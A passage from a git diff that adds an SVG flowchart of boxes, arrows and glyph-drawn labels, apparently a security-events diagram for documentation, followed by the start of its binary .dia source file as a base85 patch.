C 1.398438 -0.128906 0.984375 -0.296875 0.671875 -0.484375 Z M 1.203125 -1.890625 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface5171">
+<rect x="0" y="0" width="1101" height="520" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M 0 0 L 55 0 L 55 25.932422 L 0 25.932422 Z M 0 0 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 44.3 16.932422 C 44.134375 16.932422 44 17.066797 44 17.232422 L 44 19.817773 C 44 19.983398 44.134375 20.117773 44.3 20.117773 L 49.7 20.117773 C 49.865625 20.117773 50 19.983398 50 19.817773 L 50 17.232422 C 50 17.066797 49.865625 16.932422 49.7 16.932422 Z M 44.3 16.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="893.851562" y="379.490723"/>
+  <use xlink:href="#glyph0-2" x="901.390082" y="379.490723"/>
+  <use xlink:href="#glyph0-3" x="910.168294" y="379.490723"/>
+  <use xlink:href="#glyph0-4" x="918.946506" y="379.490723"/>
+  <use xlink:href="#glyph0-5" x="923.355957" y="379.490723"/>
+  <use xlink:href="#glyph0-6" x="932.276313" y="379.490723"/>
+  <use xlink:href="#glyph0-7" x="936.584039" y="379.490723"/>
+  <use xlink:href="#glyph0-8" x="943.451986" y="379.490723"/>
+  <use xlink:href="#glyph0-9" x="952.270888" y="379.490723"/>
+  <use xlink:href="#glyph0-9" x="959.15918" y="379.490723"/>
+  <use xlink:href="#glyph0-10" x="966.047472" y="379.490723"/>
+  <use xlink:href="#glyph0-7" x="974.439399" y="379.490723"/>
+  <use xlink:href="#glyph0-7" x="981.307346" y="379.490723"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15.3 21.932422 C 15.134375 21.932422 15 22.066797 15 22.232422 L 15 24.817773 C 15 24.983398 15.134375 25.117773 15.3 25.117773 L 20.7 25.117773 C 20.865625 25.117773 21 24.983398 21 24.817773 L 21 22.232422 C 21 22.066797 20.865625 21.932422 20.7 21.932422 Z M 15.3 21.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="317.015625" y="479.490723"/>
+  <use xlink:href="#glyph0-2" x="324.554145" y="479.490723"/>
+  <use xlink:href="#glyph0-3" x="333.332357" y="479.490723"/>
+  <use xlink:href="#glyph0-4" x="342.110569" y="479.490723"/>
+  <use xlink:href="#glyph0-5" x="346.52002" y="479.490723"/>
+  <use xlink:href="#glyph0-6" x="355.440375" y="479.490723"/>
+  <use xlink:href="#glyph0-11" x="359.748101" y="479.490723"/>
+  <use xlink:href="#glyph0-12" x="364.970269" y="479.490723"/>
+  <use xlink:href="#glyph0-4" x="373.098253" y="479.490723"/>
+  <use xlink:href="#glyph0-13" x="377.507704" y="479.490723"/>
+  <use xlink:href="#glyph0-8" x="382.242133" y="479.490723"/>
+  <use xlink:href="#glyph0-14" x="391.061035" y="479.490723"/>
+  <use xlink:href="#glyph0-10" x="396.628526" y="479.490723"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 47.016406 20.167969 L 47.032227 21.733203 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 46.782227 21.735547 L 47.037305 22.233008 L 47.282227 21.730664 Z M 46.782227 21.735547 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 21.05 23.522852 L 43.5 23.505469 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 43.500195 23.755469 L 44 23.505078 L 43.499805 23.255469 Z M 43.500195 23.755469 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 45.05 22.332422 L 49.05 22.332422 C 49.602344 22.332422 50.05 22.857422 50.05 23.504883 C 50.05 24.152539 49.602344 24.677344 49.05 24.677344 L 45.05 24.677344 C 44.497656 24.677344 44.05 24.152539 44.05 23.504883 C 44.05 22.857422 44.497656 22.332422 45.05 22.332422 Z M 45.05 22.332422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-15" x="908.992188" y="479.088379"/>
+  <use xlink:href="#glyph0-10" x="917.952962" y="479.088379"/>
+  <use xlink:href="#glyph0-7" x="926.344889" y="479.088379"/>
+  <use xlink:href="#glyph0-16" x="933.212836" y="479.088379"/>
+  <use xlink:href="#glyph0-2" x="942.051812" y="479.088379"/>
+  <use xlink:href="#glyph0-5" x="950.830024" y="479.088379"/>
+  <use xlink:href="#glyph0-7" x="959.75038" y="479.088379"/>
+  <use xlink:href="#glyph0-10" x="966.618327" y="479.088379"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(92.54902%,74.509805%,75.294119%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 2.3 21.932422 C 2.134375 21.932422 2 22.066797 2 22.232422 L 2 24.817773 C 2 24.983398 2.134375 25.117773 2.3 25.117773 L 11.7 25.117773 C 11.865625 25.117773 12 24.983398 12 24.817773 L 12 22.232422 C 12 22.066797 11.865625 21.932422 11.7 21.932422 Z M 2.3 21.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-2" x="51.546875" y="479.490723"/>
+  <use xlink:href="#glyph0-5" x="60.325087" y="479.490723"/>
+  <use xlink:href="#glyph0-17" x="69.245443" y="479.490723"/>
+  <use xlink:href="#glyph0-8" x="78.856717" y="479.490723"/>
+  <use xlink:href="#glyph0-18" x="87.675618" y="479.490723"/>
+  <use xlink:href="#glyph0-19" x="93.263455" y="479.490723"/>
+  <use xlink:href="#glyph0-10" x="102.204156" y="479.490723"/>
+  <use xlink:href="#glyph0-5" x="110.596083" y="479.490723"/>
+  <use xlink:href="#glyph0-18" x="119.516439" y="479.490723"/>
+  <use xlink:href="#glyph0-4" x="125.104275" y="479.490723"/>
+  <use xlink:href="#glyph0-9" x="129.513726" y="479.490723"/>
+  <use xlink:href="#glyph0-12" x="136.747613" y="479.490723"/>
+  <use xlink:href="#glyph0-18" x="144.875597" y="479.490723"/>
+  <use xlink:href="#glyph0-4" x="150.463433" y="479.490723"/>
+  <use xlink:href="#glyph0-2" x="154.872884" y="479.490723"/>
+  <use xlink:href="#glyph0-5" x="163.651096" y="479.490723"/>
+  <use xlink:href="#glyph0-20" x="172.571452" y="479.490723"/>
+  <use xlink:href="#glyph0-12" x="180.963379" y="479.490723"/>
+  <use xlink:href="#glyph0-4" x="189.091363" y="479.490723"/>
+  <use xlink:href="#glyph0-13" x="193.500814" y="479.490723"/>
+  <use xlink:href="#glyph0-8" x="198.235243" y="479.490723"/>
+  <use xlink:href="#glyph0-14" x="207.054145" y="479.490723"/>
+  <use xlink:href="#glyph0-10" x="212.621636" y="479.490723"/>
+  <use xlink:href="#glyph0-21" x="221.013563" y="479.490723"/>
+  <use xlink:href="#glyph0-22" x="225.747993" y="479.490723"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M 7 14.932422 L 7 21.382422 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 6.75 21.382422 L 7 21.882422 L 7.25 21.382422 Z M 6.75 21.382422 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M 1 3.932422 L 54 3.932422 L 54 14.932422 L 1 14.932422 Z M 1 3.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 3.3 4.932422 C 3.134375 4.932422 3 5.066797 3 5.232422 L 3 7.817773 C 3 7.983398 3.134375 8.117773 3.3 8.117773 L 10.752539 8.117773 C 10.918164 8.117773 11.052539 7.983398 11.052539 7.817773 L 11.052539 5.232422 C 11.052539 5.066797 10.918164 4.932422 10.752539 4.932422 Z M 3.3 4.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-12" x="92.8125" y="139.490723"/>
+  <use xlink:href="#glyph0-8" x="100.940484" y="139.490723"/>
+  <use xlink:href="#glyph0-18" x="109.759386" y="139.490723"/>
+  <use xlink:href="#glyph0-19" x="115.347222" y="139.490723"/>
+  <use xlink:href="#glyph0-10" x="124.287923" y="139.490723"/>
+  <use xlink:href="#glyph0-5" x="132.67985" y="139.490723"/>
+  <use xlink:href="#glyph0-18" x="141.600206" y="139.490723"/>
+  <use xlink:href="#glyph0-4" x="147.188043" y="139.490723"/>
+  <use xlink:href="#glyph0-9" x="151.597493" y="139.490723"/>
+  <use xlink:href="#glyph0-12" x="158.83138" y="139.490723"/>
+  <use xlink:href="#glyph0-18" x="166.959364" y="139.490723"/>
+  <use xlink:href="#glyph0-10" x="172.38444" y="139.490723"/>
+  <use xlink:href="#glyph0-21" x="180.776367" y="139.490723"/>
+  <use xlink:href="#glyph0-22" x="185.510796" y="139.490723"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 4.3 10.932422 C 4.134375 10.932422 4 11.066797 4 11.232422 L 4 13.817773 C 4 13.983398 4.134375 14.117773 4.3 14.117773 L 9.7 14.117773 C 9.865625 14.117773 10 13.983398 10 13.817773 L 10 11.232422 C 10 11.066797 9.865625 10.932422 9.7 10.932422 Z M 4.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-23" x="88.324219" y="259.490723"/>
+  <use xlink:href="#glyph0-19" x="97.630588" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="106.571289" y="259.490723"/>
+  <use xlink:href="#glyph0-9" x="114.800456" y="259.490723"/>
+  <use xlink:href="#glyph0-24" x="122.034342" y="259.490723"/>
+  <use xlink:href="#glyph0-6" x="129.430718" y="259.490723"/>
+  <use xlink:href="#glyph0-16" x="133.738444" y="259.490723"/>
+  <use xlink:href="#glyph0-12" x="142.57742" y="259.490723"/>
+  <use xlink:href="#glyph0-7" x="150.705404" y="259.490723"/>
+  <use xlink:href="#glyph0-7" x="157.573351" y="259.490723"/>
+  <use xlink:href="#glyph0-16" x="164.441298" y="259.490723"/>
+  <use xlink:href="#glyph0-2" x="173.280273" y="259.490723"/>
+  <use xlink:href="#glyph0-14" x="182.058485" y="259.490723"/>
+  <use xlink:href="#glyph0-18" x="188.113444" y="259.490723"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24.3 10.932422 C 24.134375 10.932422 24 11.066797 24 11.232422 L 24 13.817773 C 24 13.983398 24.134375 14.117773 24.3 14.117773 L 29.7 14.117773 C 29.865625 14.117773 30 13.983398 30 13.817773 L 30 11.232422 C 30 11.066797 29.865625 10.932422 29.7 10.932422 Z M 24.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-17" x="489.339844" y="246.791504"/>
+  <use xlink:href="#glyph0-8" x="498.951118" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="507.77002" y="246.791504"/>
+  <use xlink:href="#glyph0-19" x="513.357856" y="246.791504"/>
+  <use xlink:href="#glyph0-10" x="522.298557" y="246.791504"/>
+  <use xlink:href="#glyph0-5" x="530.690484" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="539.61084" y="246.791504"/>
+  <use xlink:href="#glyph0-4" x="545.198676" y="246.791504"/>
+  <use xlink:href="#glyph0-9" x="549.608127" y="246.791504"/>
+  <use xlink:href="#glyph0-12" x="556.842014" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="564.969998" y="246.791504"/>
+  <use xlink:href="#glyph0-4" x="570.557834" y="246.791504"/>
+  <use xlink:href="#glyph0-2" x="574.967285" y="246.791504"/>
+  <use xlink:href="#glyph0-5" x="583.745497" y="246.791504"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-18" x="493.285156" y="272.189941"/>
+  <use xlink:href="#glyph0-2" x="498.710232" y="272.189941"/>
+  <use xlink:href="#glyph0-24" x="507.488444" y="272.189941"/>
+  <use xlink:href="#glyph0-10" x="515.169108" y="272.189941"/>
+  <use xlink:href="#glyph0-5" x="523.561035" y="272.189941"/>
+  <use xlink:href="#glyph0-6" x="532.481391" y="272.189941"/>
+  <use xlink:href="#glyph0-9" x="536.789117" y="272.189941"/>
+  <use xlink:href="#glyph0-14" x="544.023003" y="272.189941"/>
+  <use xlink:href="#glyph0-10" x="549.590495" y="272.189941"/>
+  <use xlink:href="#glyph0-12" x="557.982422" y="272.189941"/>
+  <use xlink:href="#glyph0-18" x="566.110406" y="272.189941"/>
+  <use xlink:href="#glyph0-10" x="571.535482" y="272.189941"/>
+  <use xlink:href="#glyph0-25" x="579.927409" y="272.189941"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 33.3 10.932422 C 33.134375 10.932422 33 11.066797 33 11.232422 L 33 13.817773 C 33 13.983398 33.134375 14.117773 33.3 14.117773 L 38.7 14.117773 C 38.865625 14.117773 39 13.983398 39 13.817773 L 39 11.232422 C 39 11.066797 38.865625 10.932422 38.7 10.932422 Z M 33.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-17" x="669.339844" y="246.791504"/>
+  <use xlink:href="#glyph0-8" x="678.951118" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="687.77002" y="246.791504"/>
+  <use xlink:href="#glyph0-19" x="693.357856" y="246.791504"/>
+  <use xlink:href="#glyph0-10" x="702.298557" y="246.791504"/>
+  <use xlink:href="#glyph0-5" x="710.690484" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="719.61084" y="246.791504"/>
+  <use xlink:href="#glyph0-4" x="725.198676" y="246.791504"/>
+  <use xlink:href="#glyph0-9" x="729.608127" y="246.791504"/>
+  <use xlink:href="#glyph0-12" x="736.842014" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="744.969998" y="246.791504"/>
+  <use xlink:href="#glyph0-4" x="750.557834" y="246.791504"/>
+  <use xlink:href="#glyph0-2" x="754.967285" y="246.791504"/>
+  <use xlink:href="#glyph0-5" x="763.745497" y="246.791504"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-7" x="695.21875" y="272.189941"/>
+  <use xlink:href="#glyph0-8" x="702.086697" y="272.189941"/>
+  <use xlink:href="#glyph0-9" x="710.905599" y="272.189941"/>
+  <use xlink:href="#glyph0-9" x="717.793891" y="272.189941"/>
+  <use xlink:href="#glyph0-10" x="724.682183" y="272.189941"/>
+  <use xlink:href="#glyph0-7" x="733.07411" y="272.189941"/>
+  <use xlink:href="#glyph0-7" x="739.942057" y="272.189941"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 4.75 0.7375 L 8.95 0.7375 C 9.529883 0.7375 10 1.2625 10 1.909961 C 10 2.557422 9.529883 3.082422 8.95 3.082422 L 4.75 3.082422 C 4.170117 3.082422 3.7 2.557422 3.7 1.909961 C 3.7 1.2625 4.170117 0.7375 4.75 0.7375 Z M 4.75 0.7375 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-15" x="110.1875" y="47.186035"/>
+  <use xlink:href="#glyph0-10" x="119.148275" y="47.186035"/>
+  <use xlink:href="#glyph0-26" x="127.377441" y="47.186035"/>
+  <use xlink:href="#glyph0-8" x="136.155653" y="47.186035"/>
+  <use xlink:href="#glyph0-10" x="144.974555" y="47.186035"/>
+  <use xlink:href="#glyph0-7" x="153.366482" y="47.186035"/>
+  <use xlink:href="#glyph0-18" x="160.234429" y="47.186035"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 13.3 10.932422 C 13.134375 10.932422 13 11.066797 13 11.232422 L 13 13.817773 C 13 13.983398 13.134375 14.117773 13.3 14.117773 L 20.752539 14.117773 C 20.918164 14.117773 21.052539 13.983398 21.052539 13.817773 L 21.052539 11.232422 C 21.052539 11.066797 20.918164 10.932422 20.752539 10.932422 Z M 13.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-9" x="294.84375" y="259.490723"/>
+  <use xlink:href="#glyph0-14" x="302.077637" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="307.645128" y="259.490723"/>
+  <use xlink:href="#glyph0-12" x="316.037055" y="259.490723"/>
+  <use xlink:href="#glyph0-18" x="324.165039" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="329.590115" y="259.490723"/>
+  <use xlink:href="#glyph0-27" x="337.982042" y="259.490723"/>
+  <use xlink:href="#glyph0-2" x="344.971788" y="259.490723"/>
+  <use xlink:href="#glyph0-24" x="353.75" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="361.430664" y="259.490723"/>
+  <use xlink:href="#glyph0-5" x="369.822591" y="259.490723"/>
+  <use xlink:href="#glyph0-21" x="378.742947" y="259.490723"/>
+  <use xlink:href="#glyph0-22" x="383.477376" y="259.490723"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 42.3 10.932422 C 42.134375 10.932422 42 11.066797 42 11.232422 L 42 13.817773 C 42 13.983398 42.134375 14.117773 42.3 14.117773 L 51.7 14.117773 C 51.865625 14.117773 52 13.983398 52 13.817773 L 52 11.232422 C 52 11.066797 51.865625 10.932422 51.7 10.932422 Z M 42.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-2" x="849.046875" y="259.490723"/>
+  <use xlink:href="#glyph0-5" x="857.825087" y="259.490723"/>
+  <use xlink:href="#glyph0-17" x="866.745443" y="259.490723"/>
+  <use xlink:href="#glyph0-8" x="876.356717" y="259.490723"/>
+  <use xlink:href="#glyph0-18" x="885.175618" y="259.490723"/>
+  <use xlink:href="#glyph0-19" x="890.763455" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="899.704156" y="259.490723"/>
+  <use xlink:href="#glyph0-5" x="908.096083" y="259.490723"/>
+  <use xlink:href="#glyph0-18" x="917.016439" y="259.490723"/>
+  <use xlink:href="#glyph0-4" x="922.604275" y="259.490723"/>
+  <use xlink:href="#glyph0-9" x="927.013726" y="259.490723"/>
+  <use xlink:href="#glyph0-12" x="934.247613" y="259.490723"/>
+  <use xlink:href="#glyph0-18" x="942.375597" y="259.490723"/>
+  <use xlink:href="#glyph0-4" x="947.963433" y="259.490723"/>
+  <use xlink:href="#glyph0-2" x="952.372884" y="259.490723"/>
+  <use xlink:href="#glyph0-5" x="961.151096" y="259.490723"/>
+  <use xlink:href="#glyph0-28" x="970.071452" y="259.490723"/>
+  <use xlink:href="#glyph0-8" x="978.768283" y="259.490723"/>
+  <use xlink:href="#glyph0-9" x="987.587185" y="259.490723"/>
+  <use xlink:href="#glyph0-9" x="994.475477" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="1001.36377" y="259.490723"/>
+  <use xlink:href="#glyph0-7" x="1009.755697" y="259.490723"/>
+  <use xlink:href="#glyph0-7" x="1016.623644" y="259.490723"/>
+  <use xlink:href="#glyph0-21" x="1023.491591" y="259.490723"/>
+  <use xlink:href="#glyph0-22" x="1028.22602" y="259.490723"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 6.89668 3.131836 L 6.942578 4.333789 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 6.692773 4.343359 L 6.961719 4.833398 L 7.192383 4.324414 Z M 6.692773 4.343359 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.019141 8.167187 L 7.00957 10.333008 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 6.75957 10.332031 L 7.007422 10.833008 L 7.25957 10.33418 Z M 6.75957 10.332031 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.050195 12.525195 L 12.4 12.525195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 12.4 12.775195 L 12.9 12.525195 L 12.4 12.275195 Z M 12.4 12.775195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 21.102734 12.525195 L 23.399805 12.525195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 23.399805 12.775195 L 23.899805 12.525195 L 23.399805 12.275195 Z M 23.399805 12.775195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 30.050391 12.525195 L 32.399609 12.525195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 32.399609 12.775195 L 32.899609 12.525195 L 32.399609 12.275195 Z M 32.399609 12.775195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 39.029297 12.525195 L 41.400586 12.525195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 41.400586 12.775195 L 41.900586 12.525195 L 41.400586 12.275195 Z M 41.400586 12.775195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 47 14.167188 L 47 16.333008 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 46.75 16.333008 L 47 16.833008 L 47.25 16.333008 Z M 46.75 16.333008 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 12.049414 23.525195 L 14.420703 23.525195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 14.420703 23.775195 L 14.920703 23.525195 L 14.420703 23.275195 Z M 14.420703 23.775195 " transform="matrix(20,0,0,20,1,1)"/>
+</g>
+</svg>
diff --git a/_images/sources/security/security_events.dia b/_images/sources/security/security_events.dia
new file mode 100644
index 0000000000000000000000000000000000000000..0a8afa731799dc14758903a9bfb42fba53ab2002
GIT binary patch
literal 2566
zcmV+h3i<UPiwFP!000021MOW~Z{xTXe$THEJTEQaD7;A`H=8VW7Z~(m(H5QQvq4*o
zt&S|YlAKKTp})PPq)dE~d=X7%GN1>UKnl&HLy_Ni&LI!^^DkeQsrM*~GRd>M5%j^x
z6WJ_}lWcxB`uFFL*L3vD{ngKL!he!K^MWru`HiepS9haDRjq!yxp{he^3&&%S9#&5
z$=WZ)&Hs3s@*7#`W^{k$d7Bl)yyEI!dzV*LkxbW>@G`y>ccUqveVG^eI*Uh5skYoK
zPxHci<muh$!$bQS-Lw_mY}It2_7$ItX(9NR{>p*;FgC36l_+*AUas;okwvQK)n1XF
zder|LW!h4uER@afKm1BQG>_EYc&)4JL3@Q%OJ2;AY+sISowR8R<Wq!@Y>t3Y1|kx{
zmo_<H+|;hP)ULR~uDGO}tn#8Ncv9_)oaT8dc-BaL;Ats_3o2(km3{1xUK(mVBvqAP
zNP*_|x8Zi~(47}ae0bz;mFTG@ewM$J*%6hhVy*E?o|3p)Ouia=B~9(mhH8II%4C{~
